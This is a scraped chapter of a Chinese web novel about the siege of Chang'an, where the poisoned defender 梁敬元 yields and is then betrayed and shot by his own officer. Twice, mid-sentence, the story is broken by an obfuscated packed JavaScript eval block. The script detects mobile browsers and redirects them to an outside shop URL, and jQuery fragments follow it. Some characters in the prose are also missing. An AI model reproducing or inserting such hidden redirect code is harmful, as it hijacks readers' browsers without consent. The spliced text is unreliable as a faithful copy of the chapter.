“妇好,我承认,你很强。”梁敬元嗓音沙哑,恶狠狠地盯着妇好。
“多谢,你也不差。”妇好脸色笑容淡淡的。
接着,她又道:“不过,你确定还要和我闲聊吗?你那副将好像要不行了。”她说着瞥了眼那副将。
“咚。”
副将人头落地。
秦良玉眼神微冷,扫过梁敬元。
梁敬元不由地心底发冷,强,太强了,那姬绥英手底下竟都是这样的人才!为何都投奔了她?!
“那姬绥英有什么好的?”梁敬元不禁问了出来,满眼不解。
“主公之好,非言语可明说也。梁敬元,你也不差,为何不做一个明智的选择呢?”妇好问道。
梁敬元扫了眼周围,他的将士们正在奋力厮杀。
“我梁敬元此生绝不屈居他人之下,更何况只是一介女子!要杀要剐尽管来吧,莫说废话了!”他梗着脖子,接着就冲向了妇好。
秦良玉想上前帮忙被妇好拒绝了。
“说出去两个打一个有损主公英明。”妇好快速说道,然后迎了上去。
梁敬元和妇好纠缠在一起打得难舍难分,一时间两人竟然难分伯仲,妇好和秦良玉二人都有些欣赏梁敬元的实力,确实不错。
一刻钟后,两人还没个结果,就在梁敬元快要力竭之时,妇好一个定睛,枪尖刺向梁敬元……
“咻!”地一声。
一支穿云箭射来,妇好一个躲闪,箭矢穿过她的衣袍扎进了后方的土壤里。
妇好循着箭矢飞来的方向望去,城墙之上站着一个瘦瘦小小的年轻人,他的手里正拿着一把弓。
就在
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16630540|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
此时,梁家军也把受伤力竭的梁敬元带回了城内,所有士兵退了回去,城门关闭。
妇好一个抬手,示意所有人站住。
“为何不追?那梁敬元就差一口气了。”秦良玉定睛看着城墙上射箭的男人,有些不甘心。
“穷寇莫追。”妇好淡淡道,“何况……射箭那人你看清楚了吗?看出了什么?”
阳光有些大,秦良玉不禁眯了眯眼:“射箭那人……瞧着有些像女子?”
“对,女子,这梁敬元可与说出来的不一样啊,有点意思。”妇好嘴角微微上扬,接着扬声道,“全军退至三里之外休整!”
长安城内。
梁府。
卧房。
大大小小一堆人围满了床,床上躺着裹着许多麻布的梁敬元,刚才射箭的少年坐在床边上守着。
“阿耶你还好吗?”少年问道,嗓音软软糯糯。
梁敬元眼神呆滞地望着顶上,眼角竟聚起了点点泪水。
“阿楹,阿耶完了,长安完了……”梁敬元喃喃道。
少年摇着头,努力忍住眼里的泪水不让它们落下:“阿耶,不是的,不是这样的!阿耶,你一定要撑住,长安城还在,雍王大军还没打进来,你一定要撑住!”
“阿楹,阿耶败了,彻底败了,那叫妇好的女将我敌不过,终有一日我会死在她手下,趁现在,你……你们……你们逃吧。”梁敬元看着少年又看了看身边围着的属下们,脸色痛苦。
“将军,您只是受了伤不会死的,那叫妇好的瞧着也没甚厉害的,怕她作甚?我们这么多人就不信还打不过她一个!”
“就是!将军您别泄气,大不了好好休整几日我们再次迎敌!”
“对!”少年站了起来,不高的个子在一干男人中是那么显眼。
少年眼神坚定,眼泪无声地落下却被她立马擦去,她说:“我梁福楹自小习武,如今大敌当前,我作为你的女儿,我得站出来!”
“胡闹!”梁敬元当即大喝一声,随即咳了起来,咳得猛烈。
“就是!福楹娘子你可别胡闹了,你就是个姑娘家,怎么上战场?你,你还没人家妇好一半高吧?”有个将军颇有些嫌弃。
“福楹娘子还是待在府里等我们的好消息吧,战场不是小娘子该去的。”又一人说道。
梁福楹扫了眼众人,捏紧了拳头:“女子又如何?那妇好不也是女子,你们谁打过她了?更何况,阿耶是我救下来的,你们如今关头竟还在这质疑我?何不想想法子如何击退敌军!”
众人面面相觑,本想说些什么,可见梁敬元面色不耐,便纷纷闭嘴不言。
“阿楹,你坐下,阿耶有话同你说。”梁敬元开口说道,嗓音沙哑。
梁福楹又在床边坐下了。
接着,梁敬元目光扫向其他人,其他人对视了眼,纷纷告退,就连大夫也离开了卧房。
屋内只剩下了梁敬元和梁福楹二人。
“阿楹你莫要冲动,你善射却不善武,那妇好武艺远超阿耶,你绝不是她的对手。”梁敬元劝道。
“那,那她身边那副将呢?女儿总不会连那副将也不敌吧?”梁福楹犹豫了会儿才开口问道。
梁敬元摇了摇头,眼神无奈:“你敌不过王副将三十招,王副将却在二十招内被敌方副将砍了脑袋,阿楹,你觉得呢?”
梁福楹脸色白了些,面色有些难看。
“那我们该如何是好?阿耶,三岁我没了阿母,六岁没了祖父母们,如今阿楹只有你一个亲人了,你说过不会丢下我的!”梁福楹握住了梁敬元的手,哭着说道。
梁敬元又咳了几声,胸前包裹的麻布渗出丝丝血迹。
“阿耶……”梁福楹呢喃着。
“阿耶有没有活路不知道,但你,阿楹,你或许还有一线生机……”梁敬元定定地看着女儿的脸,缓缓说道。
“一线……生机?”梁福楹止住哭泣,眼里有些迷茫。
51.攻打长安(三)
长安城外军营。
“什么时辰了?”妇好听见有人进了帐中,头也没抬,一边看着沙盘思索着一边问道,一旁烛光淡淡地晃着。
“酉时刚过。”
妇好抬头,进来的是秦良玉。
“消息打探得如何?”妇好询问。
秦良玉走到妇好身边,回答道:“打探到了。那人是梁敬元独女梁福楹,自小习武,但武艺不精,唯独擅长射术,六岁丧母之后就随着梁敬元一直待在军中,如今年十四。”
“那姑娘射艺不错,若好好培养一番定能有番作为。”妇好说着和秦良玉的眼神对视上了,接着缓缓一笑,“此等人才应当笼络过来才是。”
秦良玉却有些忧色:“可今日巳时我们才杀了他们副将,又伤了梁敬元,梁福楹自丧母之后就格外黏腻她的阿耶,怎会投靠主公?”
“两军对战必有伤亡,不是你死便是我活,我想他们不会不懂这个道理。况且,我瞧那梁敬元不是个不明是非、迂腐无能之辈,只要多加劝慰,我想他总能明白对他们来说最好的选择是什么的。”妇好说道,“白日里与他交手时我也发现了,他实力不俗,只是似乎……内里有许多暗伤,所以轻而易举败给了我。”
“暗伤?从前参军时的伤么?”秦良玉问。
“也有,也有旁的。”妇好眼神一凛,“交手时我探到了他的脉搏,他似乎……中毒了,很深。”
秦良玉和妇好对视了眼,明白了什么。
“那何时再发起进攻?主公兵力不足,我们不能在长安拖太久。”秦良玉又道。
“再等等,先传信一封与梁敬元看看情况如何。”妇好。
长安城内。
清晨温暖的日光洒在梁府,一大一小两人搀扶着慢悠悠地走着。
“嘶,疼疼疼,阿楹你悠着点,别把阿耶我的胳膊拽断了!”梁敬元龇牙咧嘴的,走一步晃三步的。
梁福楹扶着梁敬元忍不住瞪了他一眼:“昨日还以为阿耶要没了,吓死我了!哼,都怪阿耶,明明只是力竭,却装作要死了的模样唬人,活该今日疼得厉害!”
“酸痛不已,你慢点,别扯着我。”梁敬元还一路扶着树,走起路来奇形怪状。
梁福楹甚是无奈,但脑中想起昨日阿耶说的话不免又叹了口气:“阿耶,你……你的大业不想继续了吗?”
“大业?”梁敬元嗤笑了声,似是在嘲笑自己,“什么大业?一个雍王,一个兵力最少的王都这么难对付,更何况其他王?阿楹你别忘了,先帝血脉尚存三人,更还有两同胞兄弟,中山王虽是异姓王,也算皇室中人,更别说雍王世家大族出身,我梁敬元算什么?争得过那些人么?难如登天啊……”
“可阿耶你手底下还有那么多兄弟,他们怎么办?”梁福楹疑惑。
“兄弟?呵。我若强,他们便是兄弟,我若弱、若无用,我便是他们第一个要杀的人。”梁敬元眼神微冷,还有些发狠。
梁福楹面色有些发白,哆嗦着嗓音说道:“阿耶,怎么会呢,那些叔叔伯伯应该不是那样的人吧?”
“阿楹,你还小看不明白,日后你便会懂了。”梁敬元说着咳了几声,身子都佝偻了些。
“噗!”
“阿耶!”梁福楹惊地瞪大了双眼,不可置信地看着地面上那喷洒的鲜红。
梁敬元一脸淡定地擦去嘴边的鲜血,按住了梁福楹的手:“莫要声张,淡定。”
“可是阿耶,你都……”梁福楹哭着说道。
梁敬元瞥了眼梁福楹,梁福楹收住了哭声,接着立马擦去脸上的泪痕恢复了正常神色。
一个小厮跑了过来,手中拿着一支箭,箭上插着一封信。
“将军!将军!敌军射来的战书!”
“战书?”梁敬元皱紧了眉头,接过箭矢取下上面的信。
见小厮还不离开,梁敬元停下拆信的动作:“还不退下?”
小厮收回好奇的神色立马低下了脑袋:“小的这就告退,将军恕罪。”
待小厮走远了,梁敬元才说道:“阿楹,扶我回屋。”
梁福楹见阿耶神色凝重,她应了一声。
屋中,梁敬元坐在书案前打开了信,他仔细地从头看到尾,梁福楹也坐在边上一起看着。
“阿耶,这……”梁福楹有些不敢相信自己看见的一切。
梁敬元却笑了:“阿楹,你的生机来了。”
梁福楹不解:“阿耶,为何要说我的?难道不是我们的生机吗?”
梁敬元却摇了摇头,笑容有些苦涩:“阿楹,早日收拾好东西,阿耶送你过去。”
梁福楹一把抓住了梁敬元的手:“阿耶,你到底瞒了我什么?还有方才,为何你会吐血?大夫不是说你没什么事只是小伤和力竭,好好修养不日便能好吗?我们为什么不能一起去?”
梁敬元反握住女儿的手,眼里闪过一丝不忍,他却笑了:“阿楹啊,阿耶在这儿待了这么多年,享受了这么多年无主看管的日子,已经过不了低眉顺眼的生活了,就让阿耶留在这儿吧,你去就好,那里更适合你。”
梁福楹红了眼眶:“阿耶你骗我,你还把我当六岁稚子吗?那年你骗我阿母远行出游我信了,其实阿母死了,现在你骗我离不开这,其实……你也快死了,对不对?”
梁敬元笑容微滞:“阿楹,你,你怎会知晓?”
梁福楹擦了下眼神笑了声:“我已经十四了,不是小孩子了,我也没那么傻什么都看不出来。阿耶,若她姬绥英真心招揽我们,也得付出点什么不是吗?不过是请个医术高超的大夫给你瞧瞧,她总不会不愿吧?”
“阿楹,口无遮拦!日后你若真去了她那得叫主公、殿下亦或者王爷了,不可直呼姓名!”梁敬元说道。
“这不是还没去吗?阿耶,我们一起走吧,大不了我求她,我拿我后半辈子求她救救你,以后我给她当牛做马做什么都行!”梁福楹说着说着眼前逐渐模糊,那是止不住的泪水。
“够了,阿楹,够了,别说了,阿耶心意已决。”梁敬元说着站起了身,高声喊道,“来人!!”
两刻钟后。
城外军帐中。
“梁将军请,阿楹姑娘请。”妇好坐在最上方,笑脸盈盈地看着底下坐着的梁敬元和梁福楹父女俩。
梁福楹警惕地看着妇好和眼前摆着的酒水菜肴,梁敬元则拱了拱手,笑道:“二位将军客气了,此番前来所为何事你我都知晓,便不要兜圈子了,直说便是。”
紧接着,梁敬元又道:“那封信我们看了,我只有一个要求。”
“不妨说说。”妇好昂了下头。
“善待吾儿福楹。”梁敬元语气有些沉重。
“这是自然,梁将军不必担心。”妇好说道。
得到想要答案的梁敬元也就放心了,于是起身说着就要离开。
“梁将军这是不想解毒了?”妇好一句话留住了已经走到帐门边上的梁敬元。
梁敬元不可思议地转回脑袋看向妇好:“你……你怎么知道的?”
“解毒?解什么毒?”梁福楹看看妇好又看看自己阿耶,“阿耶,你中毒了?你瞒着我的就是这件事么?”
梁敬元有些不敢看女儿的双眼,一声“嗯”比蚊子叫还轻。
梁福楹的眼里瞬间聚满了泪水,当即走到中央朝着妇好和秦良玉二人的方向跪下了。
“两位将军,我们愿归顺雍王殿下,但也有要求,若不答应此事便作罢。”梁福楹声音清楚响亮,一字一句清晰地回荡在帐中。
妇好和秦良玉神色无甚变化,只是对视了眼,一副了然的模样。
其实她们早猜到他们会提出要求,没想到提出的人是梁福楹而不是梁敬元。
梁敬元赶紧上前扯了下
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16645598|183229||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
女儿的胳膊,低声道:“你在胡说什么?阿楹乖,一切有阿耶在,让阿耶来说。”
接着,梁敬元向妇好和秦良玉二人拱手:“二位将军莫听吾儿之言,只要二位将军愿善待我城中百姓,我自会回去劝说其他人归顺雍王。”
“这是自然,无需你言我们亦会如此,雍王麾下之人断不会做出伤害百姓之事,若有人如此大可告诉我们,我们自当禀告殿下清理门户。”妇好说道。
梁敬元明显松了口气,然后带着歉意说道:“昨日战场上对你们二人出言不逊是我之过错,望二位将军见谅。”
“无妨,我也杀了你的副将。”秦良玉语气淡淡的。
提起那个副将,梁敬元脸上神色并没太大变化,他说:“那人武艺不错,但……性子太过古怪,还眼高手低、嚣张至极,若不是念在他还有用我也不愿用他,实在是身边无人可用。况且他死得不冤,他手上无辜的命也不少。”
“听梁将军所言是不会怪我了,日后便是同僚,你我之间无芥蒂再好不过,我也不愿你我多生事端徒增主公烦恼。”秦良玉说着朝梁敬元抱了下拳。
梁敬元回抱了一下拳。
尚且跪在地上的梁福楹见状忍不住开口道:“我不是威胁你们,只是想让你们救救我阿耶!”
“阿楹!”梁敬元当即喝道。
梁福楹全然不顾此时她阿耶神色如何,她满眼都是担忧。
“当然,既是同僚,怎会看着你去死?”妇好说着看向梁敬元,“梁将军快让她起来吧,孩子也是一片孝心,她所说之事不提我们亦会去做,莫要责怪她了。”
“这……我体内的毒没那么容易解,否则怎会拖到今日?多谢将军好意了,此事便作罢吧,莫去管了。”梁敬元神色有些无奈。
“此事待回到粟邑我会禀报主公,自有主公定夺。主公心善,若知晓此事定会想方设法解决,梁将军届时就莫要推辞了。”妇好说道,“今日时辰不早了,梁将军请回吧。”
梁敬元拉起了女儿梁福楹,然后说道:“我会交给你们一个满意的结果的,今日便先回了。”
梁敬元带着梁福楹从城外军营往回走,就在靠近城门时,突然,一支箭“咻”地朝着梁敬元的心□□去。
“阿耶!!”
梁福楹瞬间瞪大了双眼,眼睁睁看着自己的阿耶在跟前缓缓倒下。
“阿楹……去……找妇好……将军……她们……快……跑……”梁敬元断断续续说完了一句话,接着缓缓闭上了双眼,抬起的一只手最终也无力地落下了。
“阿耶!!”梁福楹跪在梁敬元的尸身边上放声大哭着。
她想不明白,为什么会突然有支箭射来带走了她的阿耶,为什么那支箭从长安城□□出,为什么明明一切都开始朝好的方向发展了阿耶却没了……
梁福楹抬头看向城墙之上,那里站着一个人,好像是阿耶平日里比较信任的一个将军,还总给她糖吃。
泪水模糊了梁福楹的双眼,可那人的身影在梁福楹眼中却越来越清晰,仇恨的怒火在她眼中熊熊燃起。
“咻”,第二支箭又射来,梁福楹赶紧躲过。
接着一支又一支箭射来,梁福楹拼命地躲闪,但还是受了伤,又擦肩而过的,有射在她的腿上的,也有差点射掉她耳朵的……
“走!”
一道熟悉的声音唤醒了差点迷茫了的梁福楹,她抬头一看,是骑马而来的妇好——伸出一只手臂揽住了她上马。
妇好带着受伤的梁福楹逐渐远去,城墙之上,射箭的那人面色阴冷,眼里像是淬了毒一般。
“让那死丫头逃过一劫,可惜了。”
“梁敬元,屈居于女子之下便不配做主公,是你自己在找死,到了下面千万可别怪我呀。”
那人喃喃着,转身前还瞥了眼城门外梁敬元的尸身,眼神冰冷不带一丝感情。